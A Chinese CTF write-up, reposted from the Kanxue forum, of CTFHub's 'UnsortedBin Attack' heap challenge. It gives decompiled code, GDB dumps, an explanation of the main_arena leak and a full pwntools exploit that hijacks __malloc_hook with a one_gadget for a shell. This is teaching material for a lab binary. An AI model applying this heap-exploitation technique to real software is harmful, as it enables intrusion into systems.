CTFHUB-UnsortedBin Attack
2023-4-15 18:0:16 Author: 看雪学苑(查看原文) 阅读量:12 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:LeaMov


1、IDA静态分析

(1)伪代码分析

main()函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  init(argc, argv, envp);  interface();}void __noreturn interface(){  int choice; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v1; // [rsp+8h] [rbp-8h]   v1 = __readfsqword(0x28u);  while ( 1 )  {    while ( 1 )    {      menu();      __isoc99_scanf("%d", &choice);      if ( choice != 1 )        break;      add();    }    switch ( choice )    {      case 2:        delete();        break;      case 3:        show();        break;      case 4:        edit();        break;      case 1024:        if ( magic > 28800 )          system("/bin/sh");        break;      default:        exit(-1);    }  }}

add()函数:

unsigned __int64 add(){  unsigned int inputSize; // [rsp+4h] [rbp-101Ch] BYREF  unsigned int index; // [rsp+8h] [rbp-1018h]  unsigned int v3; // [rsp+Ch] [rbp-1014h]  char v4[4096]; // [rsp+10h] [rbp-1010h] BYREF  unsigned __int64 v5; // [rsp+1018h] [rbp-8h]   v5 = __readfsqword(0x28u);  memset(v4, 0, sizeof(v4));  for ( index = 0; index <= 9; ++index )  {    if ( !*(&heapList + index) )    {      v3 = index;      break;    }  }  if ( index == 11 )  {    puts("wrong");    exit(0);  }  puts("Size: ");  __isoc99_scanf("%d", &inputSize);  if ( inputSize > 0x500 )    inputSize = 1280;  *(&heapList + v3) = malloc(inputSize);  Size[v3] = inputSize;  puts("Content: ");  read(0, *(&heapList + v3), inputSize);  return __readfsqword(0x28u) ^ v5;}

delete()函数:

unsigned __int64 delete(){  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]   v2 = __readfsqword(0x28u);  puts("Index:");  __isoc99_scanf("%d", &index);  if ( index > 0xB )  {    puts("wrong");    exit(0);  }  free(*(&heapList + index));  *(&heapList + index) = 0LL;  Size[index] = 0;  return __readfsqword(0x28u) ^ v2;}

show()函数:

unsigned __int64 show(){  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]   v2 = __readfsqword(0x28u);  puts("Index:");  __isoc99_scanf("%d", &index);  if ( *(&heapList + index) )    printf("Content: %s\n", (const char *)*(&heapList + index));  return __readfsqword(0x28u) ^ v2;}

edit()函数【利用点-堆溢出】

unsigned __int64 edit(){  int nbytes; // [rsp+0h] [rbp-10h] BYREF  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v3; // [rsp+8h] [rbp-8h]   v3 = __readfsqword(0x28u);  puts("Index:");  __isoc99_scanf("%d", &index);  puts("Size:");  __isoc99_scanf("%d", &nbytes);  if ( Size[index] >= nbytes )  {    if ( *(&heapList + index) )    {      puts("Content:");      read(0, *(&heapList + index), (unsigned int)nbytes);    }    else    {      puts("wrong");    }  }  else  {    puts("wrong!");  }  return __readfsqword(0x28u) ^ v3;}

(2)GDB调试分析

全局变量上方内存区,我们本次不利用此块内容:
pwndbg> x/30gx 0x6020AC-0x1f0x60208d:    0xfff7bc38e0000000    0x000000000000007f0x60209d:    0xfff7bc4540000000    0x000000000000007f0x6020ad <magic+1>:    0x0000000000000000    0x00000000000000000x6020bd:    0x0000000000000000    0x00000000000000000x6020cd <ptr+13>:    0x0000000000000000    0x00000000000000000x6020dd <ptr+29>:    0x0000000000000000    0x00000000000000000x6020ed <ptr+45>:    0x0000000000000000    0x00000000000000000x6020fd <ptr+61>:    0x0000000000000000    0x00000000000000000x60210d <ptr+77>:    0x0000000000000000    0x00000000000000000x60211d:    0x0000000000000000    0x00000000000000000x60212d <Size+13>:    0x0000000000000000    0x00000000000000000x60213d <Size+29>:    0x0000000000000000    0x0000000000000000
mallocHook上方内存区:
pwndbg> x/30gx 0x7ffff7bc3b10-0x300x7ffff7bc3ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x00000000000000000x7ffff7bc3af0 <_IO_wide_data_0+304>:    0x00007ffff7bc2260    0x00000000000000000x7ffff7bc3b00 <__memalign_hook>:    0x00007ffff78853f0    0x00007ffff7884fd00x7ffff7bc3b10 <__malloc_hook>:    0x00007ffff7884e00    0x00000000000000000x7ffff7bc3b20 <main_arena>:    0x0000000000000000    0x0000000000000000
FakeChunk选址:
pwndbg> x/30gx 0x7ffff7bc3b20-0x330x7ffff7bc3aed <_IO_wide_data_0+301>:    0xfff7bc2260000000    0x000000000000007f0x7ffff7bc3afd:    0xfff78853f0000000    0xfff7884fd000007f0x7ffff7bc3b0d <__realloc_hook+5>:    0xfff7884e0000007f    0x000000000000007f0x7ffff7bc3b1d:    0x0000000000000000    0x00000000000000000x7ffff7bc3b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000

2、分析总结

虽然这题叫UnsortedBin Attack,但是甚至可以用上一题的exp来打通,不是很理解为什么要在interface函数中设置magic这个后门,不过为了符合出题人的要求,所以还是单独用UnsortedBin Attack来做一次。
假如不存在全局变量heapList;magic,目前不知道需要申请FakeChunk到哪个位置,所以需要使用Unsorted Bin来泄露main_Arena的地址。


可利用漏洞

  • 整数溢出漏洞
  • 堆溢出漏洞

1.UnsortedBin Attack | Leak mainArena

利用思路

根据分析可知:
  • add()函数允许用户申请10个不大于0x500的heap

  • edit()函数中存在堆溢出漏洞

  • __malloc_hook()函数位于main_arena-0x10处

  • __malloc_hook()函数上方存在可用于构造FakeChunk的内存区

利用流程

  1. 申请3块大小为0x60的chunk#0 chunk#1 chunk#2、申请1块大小为0x400的chunk#3、再申请一块大小为0x60的chunk#4

  2. 释放chunk#3使其进入unsorted bin,此时chunk#3->fd指向main_arena

  3. 通过edit()函数填充chunk#2至chunk#3->size

  4. 使用show()函数打印chunk#2并泄露出main_arena后计算出__malloc_hook和LibcBase

  5. 使用FastBin Attack篡改__malloc_hook使其指向oneGadget

利用原理

当FreeChunk为unsorted bin一链表中唯一元素时,该FreeChunk->fd FreeChunk->bk均指向main_arena+offset,经过调试得知该offset=88;__malloc_hook = main_arena-0x10,经过上述分析已知__malloc_hook上方可构造FakeChunk以劫持__malloc_hook


from pwn import * prog = "./pwn" local = Falsecontext(os='linux', arch='amd64', log_level='debug') elf = ELF("./pwn")libc = ELF("./libc-2.23.so") if local:    p = process(prog)    libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")    gdb.attach(p)    sleep(1)else:    p = remote("challenge-201a3ecdccce276e.sandbox.ctfhub.com",29865) def add(size):    p.sendlineafter(">> ","1")    p.sendlineafter("Size: \n",str(size))    p.sendafter("Content: \n",b"\x00") def show(index):    p.sendlineafter(">> ","3")    p.sendlineafter("Index:\n",str(index)) def dele(index):    p.sendlineafter(">> ","2")    p.sendlineafter("Index:\n",str(index)) def edit(index,content):    p.sendlineafter(">> ","4")    p.sendlineafter("Index:\n",str(index))    p.sendlineafter("Size:\n","-1")    p.sendafter("Content:\n",content) fakeChunk = 0x60208d add(0x60)#0add(0x60)#1add(0x60)#2add(0x400)#3add(0x60)#4 避免chunk#3与topChunk合并 dele(3)payload = b"A"*0x70edit(2,payload)show(2) mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))print("mainArena ===========> {}".format(hex(mainArena)))mallocHook = mainArena-0x10-88libcBase = mallocHook - libc.sym['__malloc_hook']oneGadGet = 0xf1247 + libcBase fakeChunk = mallocHook - 0x23 #易错点,请勿忽略本操作payload = b"\x00"*0x60payload += p64(0)payload += p64(0x411)edit(2,payload)#此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明#易错点,请勿忽略本操作 #接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》dele(2)dele(1)payload = b"A"*0x60payload += p64(0)payload += p64(0x71)payload += p64(fakeChunk)edit(0,payload) add(0x60)#1add(0x60)#2 = fakeChunk payload = b"A"*0x13payload += p64(oneGadGet)edit(2,payload)  p.interactive()p.close()


1、关于通过 Unsorted Bin 泄露地址的补充

本题的重点是通过Unsorted Bin来泄露main_arena,具体泄露方式需要参照题目的show()函数运作方式,例如本题是以字符串来输出heap中内容,我们只需要把内存填充至fd\bk指针即可。
举个其它show()函数形式的例子:write(0,heapList[index]+16,*heapList[index]+8)
该情况下泄露思路如下
  1. 申请一块0x60大小的chunk#0

  2. 申请一块0x40大小的chunk#1

  3. 申请一块0x400大小的chunk#2

  4. 通过堆溢出篡改chunk#1的size为0x60

  5. show(1)即可打印出chunk#2的fd和bk

2、本题易错点

可以注意到在完成泄露准备释放chunk#2 chunk#1时对chunk#3->heapHeader进行了一次还原,若不作此操作,将会触发报错。
*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***
可以注意到是在free()函数时的错误,若进入glibc源码中搜索invalid next size (fast)可以找到触发该报错的函数是_int_free,以下是触发该报错的检查源码。
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ            || chunksize (chunk_at_offset (p, size)) >= av->system_mem);        __libc_lock_unlock (av->mutex);
该检查会判断下一块chunk的大小是否小于 MINSIZE || 大于 system_mem,若符合则会报错,所以需要将下一个chunk的size修改成符合条件的值避免报错。

看雪ID:LeaMov

https://bbs.kanxue.com/user-home-952954.htm

*本文由看雪论坛 LeaMov 原创,转载请注明来自看雪社区

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458501989&idx=1&sn=ecf2ebf2edc57f99e68655474f5ea66a&chksm=b18ef3ef86f97af9f625ecb0c137f347ffbfdd9162afa20570b7d98f11578e93d7eda3ce2bf2#rd
如有侵权请联系:admin#unsafe.sh